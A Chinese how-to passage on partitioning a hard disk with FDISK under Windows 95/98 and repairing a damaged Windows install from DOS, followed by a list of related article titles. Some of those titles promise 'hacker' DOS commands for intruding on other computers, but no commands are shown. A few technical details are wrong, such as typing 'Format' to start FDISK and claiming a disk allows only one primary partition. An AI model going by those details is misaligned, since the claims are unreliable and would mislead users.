    6)这时系统会询问你是否使用最大的可用空间作为主分区,如果回答”Y”,那么软件就会将所有的磁盘空间划分成一个分区,回答”N”则可以划分多个分区,对于现在的硬盘来说,一般都比较大,如果划分成一个分区就不太好管理,因此可以选择输入”N”来分成多个分区。

    7)软件会提示你输入主分区的大小,输入后回车。

    8)完成后按ESC键回到主菜单。

    9)对于一个硬盘,必须设置一个活动分区后才可以引导操作系统,所以我们需要进入”2”项。

    10)这是会提示用户输入活动分区的号码,由于只有一个分区,就输入”1”。 完后会在状态栏中显示一个”A”,表示此分区为活动分区。

    11)一个硬盘只能有一个主分区,因此如果现在要划分剩下的硬盘空间就必须建立扩展分区,回到主菜单后选择”2”。

    12)程序会提示用户输入扩展分区的大小。

    13)扩展分区建立完成后,会显示主分区和扩展分区的相关资料,按ESC键。 

    14)这时会提示没有逻辑盘的信息,你可以将整个扩展分区划分成一个逻辑盘,或者分成几个逻辑盘。现在可以输入第一个逻辑盘的大小,然后回车。

    15)这时会显示第一个逻辑盘的相关信息,并且要求你输入第2个逻辑盘的大小。

    16)完成后即可按ESC键退回到主菜单。

    17)这时在按ESC退出FDISK再重新启动,就可以对分区进行格式化了。

    如果是对已经分好区的硬盘进行重新分区,那么在主菜单时就必须先进入第三项将分区删除后才能进行。

    2、使用FDISK进行硬盘分区

    分区从实质上说就是对硬盘的一种格式化。当我们创建分区时,就已经设置好了硬盘的各项物理参数,指定了硬盘主引导记录(即MasterBootRecord,一般简称为MBR)和引导记录备份的存放位置。而对于文件系统以及其他操作系统管理硬盘所需要的信息则是通过之后的高级格式化,即Format命令来实现。用一个形象的比喻,分区就好比在一张白纸上画一个大方框。而格式化好比在方框里打上格子。安装各种软件就好比在格子里写上字。可以看得出来,分区和格式化就相当于为安装软件打基础,实际上它们为电脑在硬盘上存储数据起到标记定位的作用。进行硬盘分区,我们最常用的软件是FDISK.com。下面,我们就FDISK的一些功能和使用做一番比较详尽地介绍:

    我们以Win 95为例(Win 98和95大致上基本一致),用启动盘启动计算机,在A盘根目录下输入”Format”;屏幕上出现信息问你是否要启用FAT32支持,回答”Y”会建立FAT32分区,回答”N”则会使用FAT16,决定以后按Enter键。大家要记住一点,早期的WIN95及DOS并不能识别FAT32结构。如果你想要安装此类系统的话,还是选择FAT16为好。但选择FAT16后,每个分区不能大于2GB。在这里,我们选择FAT16。

    这时候,屏幕上将会显示以下4个选项
    1. 建立DOS分区或逻辑分区
    2. 设置活动分区
    3. 删除分区或逻辑分区
    4. 显示分区信息
    5. 如果你安装有不止一块硬盘,系统还会出现有第5项(Change current fixed disk drive)。

    建立主分区
    这里,缺省的选项是”1”。如果你的硬盘还没有建立过分区的话,直接按ENTER键即可。然后,在对话框中选择”建立主分区(Primary Partition)”,选择”1”再按下Enter键。这时,系统会询问你是否使用最大的可用空间作为主分区,缺省的回答是”Y”,你只要直接按下Enter键即可。当然,当程序问你是否要使用最大的可用空间作为主分区时,你也可以回答”N”然后按Enter键。这时,系统会要求你输入主分区的大小,输入以后按Enter键。这时,系统将会自动为主分区分配逻辑盘符”C”。然后屏幕将提示主分区已建立并显示主分区容量和所占硬盘全部容量的比例,此后按”Esc”返回FDISK主菜单。
    建立扩展分区
    在FDISK主菜单中继续选择”1”进入 “建立分区菜单” 后再选择”2”建立扩展分区,屏幕将提示当前硬盘可建为扩展分区的全部容量。此时我们如果不需要为其它操作系统(如NT、LINUX等)预留分区,那么建议使用系统给出的全部硬盘空间,此时可以直接回车建立扩展分区,然后屏幕将显示已经建立的扩展分区容量。

    设置逻辑盘数量和容量
    扩展分区建立后,系统提示用户还没有建立逻辑驱动器,此时按”Esc”键开始设置逻辑盘,提示用户可以建为逻辑盘的全部硬盘空间,用户可以根据硬盘容量和自己的需要来设定逻辑盘数量和各逻辑盘容量。设置完成后,此时屏幕将会显示用户所建立的逻辑盘数量和容量,然后返回FDISK主菜单。

    激活硬盘主分区
    在硬盘上同时建有主分区和扩展分区时,必须进行主分区激活,否则以后硬盘无法引导系统。在FDISK主菜单上选择”2”(Set active partition),此时屏幕将显示主硬盘上所有分区供用户进行选择,我们的主盘上只有主分区”1”和扩展分区”2”,当然我们选择主分区”1”进行激活,然后退回FDISK主菜单。

    一切结束以后,退出FDISK程序。继续按”Esc”键退出至屏幕提示用户必须重新启动系统,必须重新启动系统,然后才能继续对所建立的所有逻辑盘进行格式化(Format)操作。

    注意事项:在建立分区时,以下几点是值得您注意:

    1.主分区和逻辑分区
    主分区的特性是在任何时刻只能有一个是活动的,当一个主分区被激活以后,同一硬盘上的其他主分区就不能再被访问。所以一个主分区中的操作系统不能再访问同一物理硬盘上其他主分区上的文件。而逻辑分区并不属于某个操作系统,只要它的文件系统与启动的操作系统兼容,则该操作系统就能访问它。(如图13所示)

    主分区和逻辑分区的一个重要区别是:每个逻辑分区分配唯一的驱动器名(盘符),而在同一硬盘上的所有主分区共享同一个驱动器名,因为某一时刻只能有一个主分区是活动的。这就意味着某一时刻只能用共享驱动器名访问活动的那个主分区。系统支持多达24个逻辑分区,这样,可能有许多人都会有这样一个错误的认识,那就是在对硬盘进行分区时最好多创建几个逻辑分区,这样可以避免出现问题的分区影响到保存在其他分区中的数据。但是事实往往并非如此,一个被损坏的分区往往会导致整个硬盘无法正常使用。我们已经在前面提到过主分区和扩展分区的信息都是被保存在MBR中,如果由于某种原因使MBR受到破坏,硬盘主分区将无法使用,进而使包含操作系统的启动盘也无法使用。

    是也许有人会认为逻辑分区的信息并不保存在MBR中,因此逻辑分区并不会受到任何影响。其实我们忽略了这样一个事实,那就是虽然逻辑分区的信息保存在扩展分区内,但是扩展分区的信息却是被保存在MBR中。这样,通过相互之间的作用,使逻辑分区最终也不能免受影响。不过一般情况下,一个分区受到损坏而其他分区仍然可以正常工作。例如,如果一个逻辑分区出现问题,很多时候其他的逻辑分区以及主分区和扩展分区都不会受到任何影响。但是话又说回来,出现问题的分区往往就是那些使用最频繁的分区,也就是MBR。

    2.驱动器名的分配
      启动系统时,活动分区上的操作系统将执行一个称为驱动器映像的过程,它给主分区和逻辑分区分配驱动器名。所有的主分区首先被映像,而逻辑分区用后续的字母指定。一般来说,主分区将被定义为C,然后,系统会根据逻辑分区的多少依次给出D,E。。。。直到Z。当然,如果你有不两块硬盘的话,情况又会发生一些变化。我们举例说明,我们将每块硬盘都分为两个区,第一个硬盘的第一分区为主分区(盘符C),则第二个硬盘的第一分区为D,第一个硬盘的第二分区为E,第二个硬盘的第二分区为F。

    3.容量的分配
    要分割成几个分区以及第一个分区所占有的容量,取决于使用者自己的想法,有些人喜欢将整个硬盘规划单一分区,有些人则认为分割成几个分区比较利于管理。例如,分割成两个分区,一个储存操作系统文件,另一个储存应用程序文件;或者一个储存操作系统和应用程序档案,另一个储存个人和备份的资料。至于分区所使用的文件系统,则取决于你要安装的操作系统。一般来说,主分区由于经常会进行数据的交换,因此容量不宜太小。其他的分区的大小分配则完全取决于个人喜好了。

    分区建立完了,接下去,我们应该查看一下具体的分区内容,做到心中有数。在FDISK主界面上,按”4”,回车。示A区显示了当前的分区情况,B区显示了硬盘的总容量,C区则进一步询问你是否要显示详细的逻辑分区情况。

    我们一部分一部分的来分析。在分区信息中:
    ①第一行是当前的硬盘号,因为只有一个硬盘,所以硬盘号为1。下面几行是分区信息。
    ②第一栏是当前分区,有1,2两部分,分别表示基本分区和扩展分区。
    ③第二栏是状态。A表示是活动分区。
    ④第三栏是分区类型,C为PRI DOS,即基本分区,下面这个是EXT DOS 即扩展分区。
    ⑤第四栏是硬盘卷标,它就好像我们给每个分区起的名字。
    ⑥第五栏是分区的大小,用多少兆字节(Mbytes)来表示。
    ⑦第六栏是系统文件分配表类型,显示FAT16。
    ⑧最后一栏是基本和扩展分区占总容量的比例。

    接下来我们再来看B区中的硬盘的容量, “硬盘的总容量为4126M”,即通常我们所说的4.3G的硬盘。

    这时候,系统会询问是否查看扩展DOS分区的信息,选”Y”则进入下一项。

    因为只有一个扩展分区,所以只有D、E盘的信息显示出来,虽然现在扩展分区分成了两个逻辑分区,但我们只能将逻辑分区叫做D、E盘,而不能称这个扩展分区为D、E盘。这里显示按ESC键继续。

    至此,分区的建立算是完成了。如果你对现行的分区不满意,你可以将分区删除后重新来。在建立分区时,我们遵循的步骤是: 建立基本分区-> 建立扩展分区à 分成一个或几个逻辑分区;而我们在删除分区时则需要遵循以下原则:删除逻辑分区-> 删除扩展分区-> 删除基本分区

    分区的删除
    删除逻辑分区,进入FDISK主界面。选择3,回车。选择了删除分区选择后,又出现下一级子菜单,包括如下内容:
    1、删除主DOS分区。
    2、删除扩展DOS分区。
    3、删除扩展分区中的逻辑分区。
    4、删除非DOS分区。

    关于删除分区的顺序,我们在上文中已经提到过,这里就不再重复了。需要补充的是,如果你的硬盘上有非DOS的分区,则应先将它删除,再删除逻辑分区。这里,我们直接从删除逻辑分区开始。选择”3”按下回车。下面就开始删除了!系统会用一个不断闪动的”WARNING!”提出警告,同时提示你输入要删除的逻辑分区号。输入E,再回车。

    这时候,系统提示输入E分区的卷标号,按屏幕上方的显示输入卷标。  
    如果没有,就直接回车跳过。系统会再提示确认,输入Y回车,E分区就被删除了。  同样我们删除D分区,接着系统提示扩展分区中所有逻辑区均被删除。

    删除完了逻辑分区,我们再回到主界面,删除完逻辑分区后就要删除扩展分区了,这时还要选择3;这时进入删除界面。然后选2,”删除扩展DOS分区”。

    按提示输入”Y”,回车。扩展分区就被删除了。
    删除完扩展分区后就要删除基本DOS分区了,按ESC返回。选第1项”删除基本DOS分区”。

    与其他分区的操作步骤一样,还要输入卷标、输入”Y”确认后回车,基本分区就被删除了。到这里,删除分区的工作就完成了。

    删除完成后,我们再次查看分区的情况,屏幕会显示当前硬盘还没有分区 。

    现在,硬盘又恢复到初始的状态下了。如果你对上次的硬盘分区不满意,现在又可以重新开始了。

    五、DOS解决问题实战

    看了前面的文章,相信大家对DOS的基础操作以有了一个较深的印象了吧。但光掌握以上的这些内容是远远不够的,解决电脑问题,最主要的还是能够将学到的死知识转化为自己可以熟练使用的兵器。当然,这也不是一朝一夕就可以达到的,同时也要靠经验的积累。下面就请大家随我一道来看几个实例,从中找出解决问题的关键和主要的思路。

    故障事例:
    某电脑在使用时突然停电,来电后开启电脑,但Windows系统无法正常启动,死机频繁。

    故障分析:
    从这个原因,我们可以大致推断:停电造成电脑非法关机而损伤磁盘文件,从而导致Windows系统受到损坏,无法正常运行。

    大致操作:
    从解决文件损坏这个角度出发,需要修复损坏的文件,如果损坏严重,也可以考虑重装Windows。

    具体操作:
    1、进入DOS。由于Windows受损,只有在DOS下进行操作。在系统引导、出现”Starting Windows…..”的时候按下”F8”键,然后再选择”Command Prompt Only”即可进入DOS方式。为了使修复速度更快,我们可以运行Windows目录下的”SMARTDRV.EXE”程序,这是一个加速磁盘读取速度的缓存程序。

    2、运行SCANDISK程序,必要时可以加上”/autofix”参数,这样在第一次选择后就可让程序自动修复。

    3、运行CHKDSK程序,查看是否还存在着问题,并可以使用”/F”进行修复。

    4、运行Windows,看系统是否恢复正常。如果在启动时提示注册表出错,可以重新进入DOS,在Windows目录下运行”SCANREG /RESTORE”,然后在列表中选择一个好的注册表文件就行了。

    5、如果文件系统受损严重,就需要重新安装Windows。

    如果无法正常进入Windows,那需要重新安装Windows的任务又只得在DOS下进行了。对于广大初学者,在DOS下安装Windows还有一定的困难,下面我就具体讲解一下在DOS下的安装。这里的安装使用光盘启动,若使用软盘启动其操作大致相同。

    1、在开机进行自检时按下”DEL”键从而进入BIOS设置,在”BIOS FEATURES SETUP”的”Boot Sequence”将”CDROM”一项设置在最前面;按”ESC”键退到主画面,按”F10”键,并输入”Y”,即可存盘退出。

    2、在开机前将系统启动盘放入光驱。

    3、在启动后的启动菜单中选择”启动并使用光驱(With CDROM)”,大家也可以选择启动后自动运行Windows98的安装程序,但那样并不和我意,安装过程将十分漫长,所以在安装前我们需要运行”SMARTDRV.EXE”。

    4、进入DOS后就转到光驱盘符,使用”DIR”命令查看目录,然后进入Windows的安装目录(目录名大都可以见名知意,一般为”Win98”、”Win”、”Windows”等)。

    5、运行”SMARTDRV.EXE”。

    6、运行”SETUP.EXE”,回车后会进入磁盘扫描,完成后即可进入安装,其操作就和在Windows中安装一样了。

      看完了这两个最常见的问题,你是否有所收获?主要大家将基础的东西掌握后,面对问题不慌不乱,仔细思考分析,能从其它的故障中不断总结经验,你也很快会成为一个电脑高手。另外,多帮助他人解决问题也能使你获得更多的锻炼机会,增加自己的知识面,从而可以积累更多、更好的资本。

    展开全文
  • DOS 命令之ping

    千次阅读 2018-04-01 15:17:44
    “Ping”命令是我们在判断网络故障常用的命令,但您真正明白这个命令运行后会发生什么,以及...作为一个生活在网络上的管理员或者黑客来说,ping 命令是第一个必须掌握的 DOS 命令,它所利用的原理是这样的:网络上...
  • 作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包...
  • 《电脑爱好者》报转载第一辑第二篇之恢复误删文件--DOS命令应用实例(一) 恢复误删文件--DOS命令应用实例(一) 上期我们讲述了DOS 的安装,从本期开始我向大家介绍几个经久不衰的DOS命令,我不会写成DOS命令...
  • DOS命令和已知对方IP入侵对方的方法
  • 必须掌握的八个DOS命令! ** 一,ping ** 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有...
  • DOS命令大全

    2019-10-05 15:19:31
    DOS命令大全 2007-02-02   MyDaniel   文章来源  阅 97165   转  4691 转藏到我的图书馆 微信 分享: QQ空间 QQ好友 新浪微博 腾讯微博 推荐给朋友 ...
  • 黑客必会dos命令

    2019-07-13 13:11:37
    黑客入门,入侵电脑,获取管理权限,必须掌握的8个基本的DOS命令如下: 一,ping  它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS...
  • DOS命令学习(从入门到精通)

    万次阅读 多人点赞 2014-05-04 23:11:52
    基本DOS命令介绍
  • Dos命令大全

    2019-11-29 11:23:25
    DOS命令学习 一、DOS使用常识 DOS的概况 DOS(Disk Operating System)是一个使用得十分广泛的磁盘操作系统,就连眼下流行的Windows9x/ME系统都是以它为基础。 常见的DOS有两种:IBM公司的PC-DOS和微软公司的MS-...
  • 一份比较详细的DOS命令说明 - 实验交流 - 生物秀 http://www.bbioo.com/experiment/24-112012-1.html 1 echo 和 @ 回显命令 @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显。一般...
  • DOS命令与DOS讲解

    2019-10-03 10:41:12
    作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包...
  • DOS命令学习

    2017-01-04 14:54:19
    常见的DOS有两种:IBM公司的PC-DOS和微软公司的MS-DOS,它们的功能、命令用途格式都相同,我们常用的是MS-DOSDOS的概况 DOS(Disk Operating System)是一个使用得十分广泛的磁盘操作系统,就连眼下流行的...
  • 常用的DOS命令

    2012-12-18 17:23:00
    常用的DOS命令 一,ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的...
  • windows网络相关DOS命令大全。 1.最基本,最常用的,测试物理网络的 ping 192.168.0.8 -t ,参数-t是等待用户去中断测试 2.查看DNS、IP、Mac等 A.Win98:winipcfg B.Win2000以上:Ipconfig/all C.NSLOOKUP...
  • 网络高手DOS命令

    2017-02-17 17:01:10
    作为一个网络管理员或者黑客来说,ping命令是第一个必须掌握DOS命令,所利用的原理是这样:网络上的机器都有唯一的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包...
  • DOS命令

    2015-09-27 15:41:11
    第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd ...
  • Dos命令集合

    千次阅读 2015-03-24 19:51:54
    1 echo 和 @ 回显命令 @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显。一般批处理第一行都是这个 echo on #从下一行开始打开回显 echo 
  • Dos命令入侵局域网电脑

    万次阅读 多人点赞 2015-08-26 17:52:20
    作为一个生 活在网络上的管理员或者黑 客来说, ping 命令是第一个必须掌握的 DOS 命令,所利用的原理是这样的网络上的机器都有唯一确定的 IP 地址,给目标 IP 地址发送一个数据包,对方就要返回一个同样大小的...
  • 作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包...
  • 作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,...
  • 必须掌握的八个DOS网络命令

    万次阅读 2015-03-24 15:14:39
    作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包...
  • 黑客入门-必学的8个DOS命令

    万次阅读 多人点赞 2013-05-28 12:28:32
    黑客入门,入侵电脑,获取管理权限,必须掌握的8个基本的DOS命令如下: 一,ping  它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的...
  • 网络dos命令

    2010-02-08 15:27:00
    1:pingping www.qq.com 这样就可以返回4行数据~看tcp/ip是否安装完毕和网络是否畅通!ping www.qq.com -t 可以无数次的返回...ping -l 650 www.qq.com 发送一个650大小的数据包~ TTL=32表示操作系统可能是win98.TTL=
  • window查看电脑配置 常用dos命令

    千次阅读 2014-07-02 09:47:27
    Windows 2000 和 MS-DOS 子系统不使用该命令接受该命令只是为了与 MS-DOS 文件兼容。 notepad.exe 打开记事本 nslookup.exe 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。 ntbackup.exe 备份和故障修复...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,507
精华内容 3,002
关键字:

dos命令win98